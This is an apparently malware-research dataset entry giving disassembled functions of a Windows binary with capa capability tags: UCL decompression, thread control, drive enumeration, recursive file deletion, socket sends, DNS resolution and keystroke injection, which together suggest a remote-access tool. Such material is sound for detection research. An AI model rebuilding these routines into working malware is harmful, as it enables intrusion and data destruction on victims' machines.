joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416510
Capabilities:
Decompress data using ucl

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
xor eax, eax
xor r10d, r10d
mov r14, r9
mov rdi, r8
mov ebp, edx
mov r11, rcx
xor ebx, ebx
lea esi, [rax + 1]
nop dword [rax + rax]
test r10b, 0x7f
je 0x41654b
add r10d, r10d
jmp 0x41655a
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
bt r10d, 8
jae 0x41656f
movzx ecx, byte [rax + r11]
mov byte [rbx + rdi], cl
inc ebx
inc eax
jmp 0x416540
mov r8d, 1
test r10b, 0x7f
je 0x416580
add r10d, r10d
jmp 0x41658f
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
mov ecx, r10d
shr ecx, 8
and ecx, 1
lea r8d, [rcx + r8*2]
test r10b, 0x7f
je 0x4165a7
add r10d, r10d
jmp 0x4165b6
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
bt r10d, 8
jb 0x4165e9
test r10b, 0x7f
je 0x4165c8
add r10d, r10d
jmp 0x4165d7
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
mov ecx, r10d
shr ecx, 8
and ecx, 1
dec r8d
lea r8d, [rcx + r8*2]
jmp 0x416575
cmp r8d, 2
jne 0x41661a
mov r9d, esi
test r10b, 0x7f
je 0x416603
add r10d, r10d
mov ecx, r10d
shr ecx, 8
jmp 0x416647
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
mov ecx, r10d
shr ecx, 8
jmp 0x416647
movzx edx, byte [rax + r11]
inc eax
shl r8d, 8
lea r9d, [r8 - 0x300]
add r9d, edx
cmp r9d, 0xffffffff
je 0x416778
mov ecx, r9d
shr r9d, 1
inc r9d
not ecx
mov esi, r9d
mov edx, r10d
and edx, 0x7f
test cl, 1
je 0x41668e
test edx, edx
je 0x41666c
add r10d, r10d
mov r8d, r10d
shr r8d, 8
and r8d, 1
inc r8d
jmp 0x416731
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
mov r8d, r10d
shr r8d, 8
and r8d, 1
inc r8d
jmp 0x416731
test edx, edx
je 0x416697
add r10d, r10d
jmp 0x4166a6
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
bt r10d, 8
jae 0x4166df
test r10b, 0x7f
je 0x4166c3
add r10d, r10d
mov r8d, r10d
shr r8d, 8
and r8d, 1
jmp 0x41672d
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
mov r8d, r10d
shr r8d, 8
and r8d, 1
jmp 0x41672d
mov r8d, 1
test r10b, 0x7f
je 0x4166f0
add r10d, r10d
jmp 0x4166ff
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
mov ecx, r10d
shr ecx, 8
and ecx, 1
lea r8d, [rcx + r8*2]
test r10b, 0x7f
je 0x416717
add r10d, r10d
jmp 0x416726
movzx edx, byte [rax + r11]
inc eax
lea r10d, [rdx*2 + 1]
bt r10d, 8
jae 0x4166e5
add r8d, 3
xor ecx, ecx
cmp r9d, 0x500
seta cl
add r8d, ecx
mov ecx, r9d
mov r9d, ebx
sub r9, rcx
add r9, rdi
movzx ecx, byte [r9]
mov byte [rbx + rdi], cl
inc ebx
inc r9
nop dword [rax + rax]
movzx ecx, byte [r9]
lea r9, [r9 + 1]
mov byte [rbx + rdi], cl
inc ebx
add r8d, 0xffffffff
jne 0x416760
jmp 0x416540
mov dword [r14], ebx
cmp eax, ebp
jne 0x416783
xor eax, eax
jmp 0x416790
mov eax, 0xffffff37
mov edx, 0xffffff33
cmovb eax, edx
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
Function at 0x417e70
Capabilities:
Terminate thread

Disassembly:
push rbp
sub rsp, 0x30
mov rbp, rsp
mov rcx, qword [0x004348c8]
lea rdx, [rbp + 0x2c]
call sub.kernel32.dll_GetExitCodeThread
mov rcx, qword [0x004348c8]
mov edx, dword [rbp + 0x2c]
call sub.kernel32.dll_TerminateThread
mov rcx, qword [0x004348c8]
call sub.kernel32.dll_CloseHandle
mov rcx, qword [0x004348d0]
lea rdx, [rbp + 0x2c]
call sub.kernel32.dll_GetExitCodeThread
mov rcx, qword [0x004348d0]
mov edx, dword [rbp + 0x2c]
call sub.kernel32.dll_TerminateThread
mov rcx, qword [0x004348d0]
call sub.kernel32.dll_CloseHandle
mov rcx, qword [0x004348d8]
lea rdx, [rbp + 0x2c]
call sub.kernel32.dll_GetExitCodeThread
mov rcx, qword [0x004348d8]
mov edx, dword [rbp + 0x2c]
call sub.kernel32.dll_TerminateThread
mov rcx, qword [0x004348d8]
call sub.kernel32.dll_CloseHandle
movsxd rcx, dword [0x00434e34]
lea rdx, [rbp + 0x2c]
call sub.kernel32.dll_GetExitCodeThread
movsxd rcx, dword [0x00434e34]
mov edx, dword [rbp + 0x2c]
call sub.kernel32.dll_TerminateThread
movsxd rcx, dword [0x00434e34]
call sub.kernel32.dll_CloseHandle
lea rsp, [rbp + 0x30]
pop rbp
ret
Function at 0x417f30
Capabilities:
Get disk information

Disassembly:
push rbp
sub rsp, 0x60
mov rbp, rsp
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x70], rcx
nop
lea rcx, [rbp + 0x48]
call fcn.004091d0
mov word [rbp + 0x5e], 0x41
lea rcx, [rbp + 0x38]
movzx rdx, word [rbp + 0x5e]
call fcn.0040a520
lea rcx, [rbp + 0x38]
lea rdx, [0x0041817c]
call fcn.0040a820
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x38]
xor r8, r8
call fcn.0040a350
lea rcx, [rbp + 0x30]
movzx rdx, word [rbp + 0x5e]
call fcn.0040a520
lea rcx, [rbp + 0x30]
lea rdx, [0x0041817c]
call fcn.0040a820
mov rcx, qword [rbp + 0x30]
call fcn.0040a4d0
mov rcx, rax
call sub.kernel32.dll_GetDriveTypeW
cmp eax, 4
jg 0x417feb
cmp eax, 4
je 0x41806c
sub eax, 2
test eax, eax
je 0x418006
sub eax, 1
test eax, eax
jne 0x4180fa
jmp 0x418039
sub eax, 5
test eax, eax
je 0x41809c
sub eax, 1
test eax, eax
jne 0x4180fa
jmp 0x4180cc
lea rcx, [rbp + 0x48]
mov edx, 4
mov r8, qword [rbp + 0x48]
mov r9, qword [rbp + 0x50]
lea rax, [0x00418190]
mov qword [rsp + 0x20], rax
lea rax, [0x004181a0]
mov qword [rsp + 0x28], rax
call fcn.0040a030
jmp 0x4180fa
lea rcx, [rbp + 0x48]
mov edx, 4
mov r8, qword [rbp + 0x48]
mov r9, qword [rbp + 0x50]
lea rax, [0x004181b0]
mov qword [rsp + 0x20], rax
lea rax, [0x004181a0]
mov qword [rsp + 0x28], rax
call fcn.0040a030
jmp 0x4180fa
lea rcx, [rbp + 0x48]
mov edx, 4
mov r8, qword [rbp + 0x48]
mov r9, qword [rbp + 0x50]
lea rax, [0x004181c0]
mov qword [rsp + 0x20], rax
lea rax, [0x004181a0]
mov qword [rsp + 0x28], rax
call fcn.0040a030
jmp 0x4180fa
lea rcx, [rbp + 0x48]
mov edx, 4
mov r8, qword [rbp + 0x48]
mov r9, qword [rbp + 0x50]
lea rax, [0x004181d0]
mov qword [rsp + 0x20], rax
lea rax, [0x004181a0]
mov qword [rsp + 0x28], rax
call fcn.0040a030
jmp 0x4180fa
lea rcx, [rbp + 0x48]
mov edx, 4
mov r8, qword [rbp + 0x48]
mov r9, qword [rbp + 0x50]
lea rax, [0x004181e0]
mov qword [rsp + 0x20], rax
lea rax, [0x004181a0]
mov qword [rsp + 0x28], rax
call fcn.0040a030
add word [rbp + 0x5e], 1
cmp word [rbp + 0x5e], 0x5b
jne 0x417f6c
nop
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
call fcn.00409750
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.00409260
lea rcx, [rbp + 0x48]
mov edx, 2
call fcn.00409290
mov rax, qword [rbp + 0x70]
lea rsp, [rbp + 0x60]
pop rbp
ret
Function at 0x4181f0
Capabilities:
Delete directory
Delete file

Disassembly:
push rbp
sub rsp, 0x2f0
mov rbp, rsp
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x58], rbp
mov qword [rbp + 0x300], rcx
mov byte [rbp + 0x308], dl
lea rcx, [rbp + 0x7c]
mov rdx, qword [0x00416f30]
call fcn.0040ae50
nop
mov dword [rbp + 0x60], 0
cmp qword [rbp + 0x300], 0
je 0x418283
mov rax, qword [rbp + 0x300]
mov eax, dword [rax - 4]
mov dword [rbp + 0x60], eax
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x300]
mov r8d, dword [rbp + 0x60]
mov r9d, 1
call fcn.0040a190
mov rcx, qword [rbp + 0x50]
lea rdx, [0x00418540]
call fcn.0040a110
test eax, eax
je 0x4182ca
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x300]
lea r8, [0x00418540]
call fcn.00409d60
jmp 0x4182da
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x300]
call fcn.004097d0
mov dword [rbp + 0x64], 0
cmp byte [rbp + 0x308], 0
je 0x4182fc
lea rcx, [rbp + 0x68]
lea rdx, [0x00418550]
call fcn.004097d0
jmp 0x41830c
lea rcx, [rbp + 0x68]
lea rdx, [0x00418560]
call fcn.004097d0
lea rcx, [rbp + 0x48]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x68]
call fcn.00409d60
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
call fcn.0040a620
mov rcx, qword [rbp + 0x40]
call fcn.0040a4d0
mov rcx, rax
mov edx, 0x3f
lea r8, [rbp + 0x7c]
call fcn.00417790
test eax, eax
jne 0x418423
nop
add dword [rbp + 0x64], 1
mov eax, dword [rbp + 0x88]
and eax, 0x10
cmp eax, 0x10
jne 0x4183d1
mov rcx, qword [rbp + 0x8c]
lea rdx, [0x00418574]
call fcn.0040ab00
test eax, eax
je 0x4183ff
mov rcx, qword [rbp + 0x8c]
lea rdx, [0x00418584]
call fcn.0040ab00
test eax, eax
je 0x4183ff
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x70]
call fcn.0040a620
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x8c]
call fcn.0040a820
lea rcx, [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
xor r8, r8
call fcn.0040a350
mov rcx, qword [rbp + 0x30]
movzx rdx, byte [rbp + 0x308]
call fcn.004181f0
jmp 0x4183ff
lea rcx, [rbp + 0x28]
mov rdx, qword [rbp + 0x70]
call fcn.0040a620
lea rcx, [rbp + 0x28]
mov rdx, qword [rbp + 0x8c]
call fcn.0040a820
mov rcx, qword [rbp + 0x28]
call fcn.0040a4d0
mov rcx, rax
call sub.kernel32.dll_DeleteFileW
lea rcx, [rbp + 0x7c]
call fcn.00417740
test eax, eax
jne 0x418419
cmp dword [rbp + 0x64], 0x30d40
jle 0x41834d
nop
lea rcx, [rbp + 0x7c]
call fcn.00417610
cmp byte [rbp + 0x308], 0
je 0x41844a
lea rcx, [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
call fcn.0040a620
mov rcx, qword [rbp + 0x20]
call fcn.0040a4d0
mov rcx, rax
call sub.kernel32.dll_RemoveDirectoryW
nop
lea rcx, [rbp + 0x20]
mov edx, 2
call fcn.00409260
lea rcx, [rbp + 0x30]
call fcn.004091d0
lea rcx, [rbp + 0x38]
mov edx, 2
call fcn.00409260
lea rcx, [rbp + 0x48]
mov edx, 2
call fcn.00409290
lea rcx, [rbp + 0x68]
mov edx, 2
call fcn.00409290
lea rcx, [rbp + 0x7c]
mov rdx, qword [0x00416f30]
call fcn.0040b000
lea rsp, [rbp + 0x2f0]
pop rbp
ret
Function at 0x418850
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x440
mov rbp, rsp
mov qword [rbp + 0x450], rcx
mov qword [rbp + 0x458], rdx
mov rcx, qword [rbp + 0x450]
call fcn.00409330
mov rcx, qword [rbp + 0x458]
call fcn.00409310
nop
mov dword [rbp + 0x4c], 0
cmp qword [rbp + 0x458], 0
je 0x4188a0
mov rax, qword [rbp + 0x458]
mov eax, dword [rax - 4]
mov dword [rbp + 0x4c], eax
mov eax, dword [rbp + 0x4c]
add eax, eax
mov dword [rbp + 0x50], eax
lea rcx, [rbp + 0x450]
call fcn.00409940
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x48], 0
cmp qword [rbp + 0x450], 0
je 0x4188d6
mov rax, qword [rbp + 0x450]
mov eax, dword [rax - 4]
mov dword [rbp + 0x48], eax
mov rcx, qword [rbp + 0x40]
lea rdx, [rbp + 0x58]
movsxd r8, dword [rbp + 0x48]
call fcn.00405040
lea rcx, [rbp + 0x458]
call fcn.00409930
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x3c], 0
cmp qword [rbp + 0x450], 0
je 0x418915
mov rax, qword [rbp + 0x450]
mov eax, dword [rax - 4]
mov dword [rbp + 0x3c], eax
mov rcx, qword [rbp + 0x30]
mov eax, dword [rbp + 0x3c]
add eax, 1
movsxd rax, eax
lea rdx, [rax + rbp + 0x57]
movsxd r8, dword [rbp + 0x50]
call fcn.00405040
mov dword [rbp + 0x2c], 0
cmp qword [rbp + 0x450], 0
je 0x41894e
mov rax, qword [rbp + 0x450]
mov eax, dword [rax - 4]
mov dword [rbp + 0x2c], eax
mov eax, dword [rbp + 0x2c]
add eax, dword [rbp + 0x50]
add eax, 1
movsxd rax, eax
mov byte [rax + rbp + 0x57], 0xd
mov dword [rbp + 0x28], 0
cmp qword [rbp + 0x450], 0
je 0x41897d
mov rax, qword [rbp + 0x450]
mov eax, dword [rax - 4]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x28]
add eax, dword [rbp + 0x50]
add eax, 2
movsxd rax, eax
mov byte [rax + rbp + 0x57], 0xa
mov dword [rbp + 0x24], 0
cmp qword [rbp + 0x450], 0
je 0x4189ac
mov rax, qword [rbp + 0x450]
mov eax, dword [rax - 4]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
add eax, dword [rbp + 0x50]
add eax, 3
movsxd rax, eax
mov byte [rax + rbp + 0x57], 0xb
mov dword [rbp + 0x20], 0
cmp qword [rbp + 0x450], 0
je 0x4189db
mov rax, qword [rbp + 0x450]
mov eax, dword [rax - 4]
mov dword [rbp + 0x20], eax
mov rcx, qword [0x00434e10]
lea rdx, [rbp + 0x58]
mov r8d, dword [rbp + 0x20]
add r8d, dword [rbp + 0x50]
add r8d, 3
xor r9, r9
call sub.wsock32.dll_send
nop
lea rcx, [rbp + 0x450]
call fcn.004091d0
lea rcx, [rbp + 0x458]
call fcn.00409180
lea rsp, [rbp + 0x440]
pop rbp
ret
Function at 0x418a50
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x140
mov rbp, rsp
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x150], rcx
mov rcx, qword [rbp + 0x150]
call fcn.00409330
nop
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x150]
lea r8, [0x00418b74]
call fcn.00409d60
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x38]
mov r8d, 0xff
call fcn.00409c10
cmp byte [0x004348a9], 0
je 0x418ae7
lea rcx, [rbp + 0x28]
lea rdx, [rbp + 0x40]
call fcn.0040a710
lea rcx, [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
call fcn.00417810
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x30]
mov r8d, 0xff
call fcn.0040a680
mov rcx, qword [0x00434e10]
lea rdx, [rbp + 0x41]
movzx r8, byte [rbp + 0x40]
xor r9, r9
call sub.wsock32.dll_send
nop
lea rcx, [rbp + 0x28]
mov edx, 2
call fcn.00409260
lea rcx, [rbp + 0x38]
call fcn.004091d0
lea rcx, [rbp + 0x150]
call fcn.004091d0
lea rsp, [rbp + 0x140]
pop rbp
ret

Function at 0x418b80
Capabilities:
Log keystrokes

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbp + 0x50]
call fcn.00409310
nop
mov dword [rbp + 0x3c], 0
jmp 0x418c4e
add dword [rbp + 0x3c], 1
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rbp + 0x3c]
cmp word [rax + rcx*2 - 2], 0x23
jne 0x418c03
lea rcx, [rbp + 0x28]
mov rdx, qword [rbp + 0x50]
mov r8d, dword [rbp + 0x3c]
add r8d, 1
mov r9d, 2
call fcn.0040ab10
lea rcx, [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
xor r8, r8
call fcn.0040a350
mov rcx, qword [rbp + 0x20]
call fcn.00417490
mov dword [rbp + 0x38], eax
add dword [rbp + 0x3c], 2
jmp 0x418c13
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rbp + 0x3c]
movzx eax, word [rax + rcx*2 - 2]
mov dword [rbp + 0x38], eax
mov ecx, dword [rbp + 0x38]
xor edx, edx
call sub.user32.dll_MapVirtualKeyW
movzx rcx, byte [rbp + 0x38]
mov edx, eax
xor r8, r8
xor r9, r9
call sub.user32.dll_keybd_event
mov ecx, dword [rbp + 0x38]
xor edx, edx
call sub.user32.dll_MapVirtualKeyW
movzx rcx, byte [rbp + 0x38]
mov edx, eax
mov r8d, 2
xor r9, r9
call sub.user32.dll_keybd_event
mov dword [rbp + 0x34], 0
cmp qword [rbp + 0x50], 0
je 0x418c66
mov rax, qword [rbp + 0x50]
mov eax, dword [rax - 4]
mov dword [rbp + 0x34], eax
mov eax, dword [rbp + 0x34]
add eax, 1
cmp dword [rbp + 0x3c], eax
jl 0x418bb2
nop
lea rcx, [rbp + 0x20]
call fcn.004091d0
lea rcx, [rbp + 0x28]
call fcn.00409180
lea rcx, [rbp + 0x50]
call fcn.00409180
lea rsp, [rbp + 0x40]
pop rbp
ret
Function at 0x419b10
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push rbp
push rbx
sub rsp, 0x1f8
mov rbp, rsp
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x210], rcx
mov qword [rbp + 0x218], rdx
nop
mov rcx, qword [rbp + 0x210]
call fcn.00409180
mov cx, 0x101
lea rdx, [rbp + 0x50]
call sub.wsock32.dll_WSAStartup
test eax, eax
je 0x419b62
call sub.wsock32.dll_WSACleanup
jmp 0x419c35
mov rcx, qword [rbp + 0x218]
call fcn.0040a160
mov rcx, rax
call sub.wsock32.dll_gethostbyname
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
jne 0x419b91
call sub.wsock32.dll_WSACleanup
jmp 0x419c35
xor eax, eax
mov rcx, qword [rbp + 0x1e8]
movsx rbx, word [rcx + 0x12]
sub ebx, 1
mov dword [rbp + 0x4c], eax
cmp dword [rbp + 0x4c], ebx
jg 0x419bf7
sub ebx, eax
add ebx, 1
lea rcx, [rbp + 0x28]
mov rax, qword [rbp + 0x1e8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
movsxd rdx, dword [rbp + 0x4c]
movzx rdx, byte [rax + rdx]
call fcn.0040f100
lea rcx, [rbp + 0x28]
lea rdx, [0x00419c94]
call fcn.0040a820
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x28]
call fcn.0040a820
add dword [rbp + 0x4c], 1
sub ebx, 1
test ebx, ebx
jne 0x419baf
nop
mov dword [rbp + 0x38], 0
cmp qword [rbp + 0x40], 0
je 0x419c10
mov rax, qword [rbp + 0x40]
mov eax, dword [rax - 4]
mov dword [rbp + 0x38], eax
lea rcx, [rbp + 0x40]
mov edx, dword [rbp + 0x38]
sub edx, 1
call fcn.0040a740
mov rcx, qword [rbp + 0x210]
mov rdx, qword [rbp + 0x40]
call fcn.00409690
call sub.wsock32.dll_WSACleanup
nop
lea rcx, [rbp + 0x28]
call fcn.00409180
lea rcx, [rbp + 0x40]
call fcn.00409180
mov rax, qword [rbp + 0x210]
lea rsp, [rbp + 0x1f8]
pop rbx
pop rbp
ret

Function at 0x41a410
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
mov byte [0x00435358], 0
xor ecx, ecx
xor edx, edx
lea r8, [0x00419d20]
xor r9, r9
mov dword [rsp + 0x20], 0
lea rax, [0x00434e40]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread
mov qword [0x004348c8], rax
add rsp, 0x38
ret

Function at 0x41a640
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov rcx, qword [0x004348d0]
lea rdx, [rbp + 0x38]
call sub.kernel32.dll_GetExitCodeThread
cmp dword [rbp + 0x38], 0x103
je 0x41a68c
xor ecx, ecx
xor edx, edx
lea r8, [0x0041a450]
xor r9, r9
mov dword [rsp + 0x20], 0
lea rax, [rbp + 0x3c]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread
mov qword [0x004348d0], rax
lea rsp, [rbp + 0x40]
pop rbp
ret
Function at 0x41aff0
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x150
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x160], rcx
mov rcx, qword [rbp + 0x160]
call fcn.00409330
nop
mov ecx, 0x120
call fcn.00404cd0
mov qword [rbp + 0x140], rax
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x160]
mov r8d, 1
mov r9d, 0xff
call fcn.0040a190
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x38]
mov r8d, 0xff
call fcn.00409c10
mov rcx, qword [rbp + 0x140]
lea rdx, [rbp + 0x40]
call fcn.004099f0
xor ecx, ecx
xor edx, edx
lea r8, [0x0041ae60]
mov r9, qword [rbp + 0x140]
mov dword [rsp + 0x20], 0
lea rax, [rbp + 0x14c]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread
mov dword [0x00434e34], eax
nop
lea rcx, [rbp + 0x38]
call fcn.004091d0
lea rcx, [rbp + 0x160]
call fcn.004091d0
lea rsp, [rbp + 0x150]
pop rbp
ret

Function at 0x41b0f0
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x150
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x160], rcx
mov rcx, qword [rbp + 0x160]
call fcn.00409330
nop
mov ecx, 0x120
call fcn.00404cd0
mov qword [rbp + 0x140], rax
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x160]
mov r8d, 1
mov r9d, 0xff
call fcn.0040a190
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x38]
mov r8d, 0xff
call fcn.00409c10
mov rcx, qword [rbp + 0x140]
lea rdx, [rbp + 0x40]
call fcn.004099f0
xor ecx, ecx
xor edx, edx
lea r8, [0x0041a6a0]
mov r9, qword [rbp + 0x140]
mov dword [rsp + 0x20], 0
lea rax, [rbp + 0x14c]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread
mov dword [0x00434e34], eax
nop
lea rcx, [rbp + 0x38]
call fcn.004091d0
lea rcx, [rbp + 0x160]
call fcn.004091d0
lea rsp, [rbp + 0x150]
pop rbp
ret

Function at 0x41b1f0
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x150
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x160], rcx
mov dword [rbp + 0x168], edx
mov rcx, qword [rbp + 0x160]
call fcn.00409330
nop
mov ecx, 0x120
call fcn.00404cd0
mov qword [rbp + 0x140], rax
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x160]
mov r8d, 1
mov r9d, 0xff
call fcn.0040a190
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x38]
mov r8d, 0xff
call fcn.00409c10
mov rcx, qword [rbp + 0x140]
lea rdx, [rbp + 0x40]
call fcn.004099f0
mov rax, qword [rbp + 0x140]
mov ecx, dword [rbp + 0x168]
mov dword [rax + 0x11c], ecx
xor ecx, ecx
xor edx, edx
lea r8, [0x0041a820]
mov r9, qword [rbp + 0x140]
mov dword [rsp + 0x20], 0
lea rax, [rbp + 0x14c]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread
mov dword [0x00434e34], eax
nop
lea rcx, [rbp + 0x38]
call fcn.004091d0
lea rcx, [rbp + 0x160]
call fcn.004091d0
lea rsp, [rbp + 0x150]
pop rbp
ret
Function at 0x41b420
Capabilities:
Get common file path

Disassembly:
push rbp
sub rsp, 0x250
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x260], rcx
mov dword [rbp + 0x268], edx
nop
xor ecx, ecx
mov edx, dword [rbp + 0x268]
xor r8, r8
xor r9, r9
lea rax, [rbp + 0x46]
mov qword [rsp + 0x20], rax
call sub.SHFolder.dll_SHGetFolderPathW
mov rcx, qword [rbp + 0x260]
lea rdx, [rbp + 0x46]
mov r8d, 0x105
call fcn.0040a5d0
cmp dword [rbp + 0x268], 0x63
jne 0x41b488
mov rcx, qword [rbp + 0x260]
call fcn.00411cf0
cmp dword [rbp + 0x268], 0x64
jne 0x41b4d6
xor ecx, ecx
mov edx, 0x1c
xor r8, r8
xor r9, r9
lea rax, [rbp + 0x46]
mov qword [rsp + 0x20], rax
call sub.SHFolder.dll_SHGetFolderPathW
lea rcx, [rbp + 0x38]
lea rdx, [rbp + 0x46]
mov r8d, 0x105
call fcn.0040a5d0
mov rcx, qword [rbp + 0x260]
mov rdx, qword [rbp + 0x38]
lea r8, [0x0041b514]
call fcn.0040a8f0
nop
lea rcx, [rbp + 0x38]
call fcn.00409180
mov rax, qword [rbp + 0x260]
lea rsp, [rbp + 0x250]
pop rbp
ret

Function at 0x41b8d0
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x150
mov rbp, rsp
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x160], rcx
mov rcx, qword [rbp + 0x160]
call fcn.00409330
nop
mov ecx, 0x120
call fcn.00404cd0
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x160]
mov r8d, 1
mov r9d, 0xff
call fcn.0040a190
lea rcx, [rbp + 0x48]
mov rdx, qword [rbp + 0x38]
mov r8d, 0xff
call fcn.00409c10
mov rcx, qword [rbp + 0x148]
lea rdx, [rbp + 0x48]
call fcn.004099f0
xor ecx, ecx
xor edx, edx
lea r8, [0x0041b560]
mov r9, qword [rbp + 0x148]
mov dword [rsp + 0x20], 0
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread
nop
lea rcx, [rbp + 0x38]
call fcn.004091d0
lea rcx, [rbp + 0x160]
call fcn.004091d0
lea rsp, [rbp + 0x150]
pop rbp
ret

Function at 0x41ba90
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
lea rcx, [0x0041b9c0]
xor edx, edx
call sub.user32.dll_EnumWindows
add rsp, 0x28
ret

Function at 0x41bda0
Capabilities:
Get socket status

Disassembly:
push rbp
sub rsp, 0x250
mov rbp, rsp
mov qword [rbp + 0x260], rcx
mov dword [rbp + 0x268], edx
mov dword [rbp + 0x270], r8d
mov ecx, 0x3e8
mov eax, dword [rbp + 0x270]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
mov ecx, 0x3e8
mov eax, dword [rbp + 0x270]
cdq
idiv ecx
imul edx, edx, 0x3e8
mov dword [rbp + 0x3c], edx
mov dword [rbp + 0x40], 0
cmp dword [rbp + 0x40], 0x40
jge 0x41be08
movsxd rax, dword [rbp + 0x40]
movsxd rcx, dword [rbp + 0x268]
mov qword [rbp + rax*8 + 0x48], rcx
add dword [rbp + 0x40], 1
xor ecx, ecx
lea rdx, [rbp + 0x40]
xor r8, r8
xor r9, r9
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
call sub.wsock32.dll_select
mov dword [rbp + 0x24c], eax
mov eax, dword [rbp + 0x24c]
lea rsp, [rbp + 0x250]
pop rbp
ret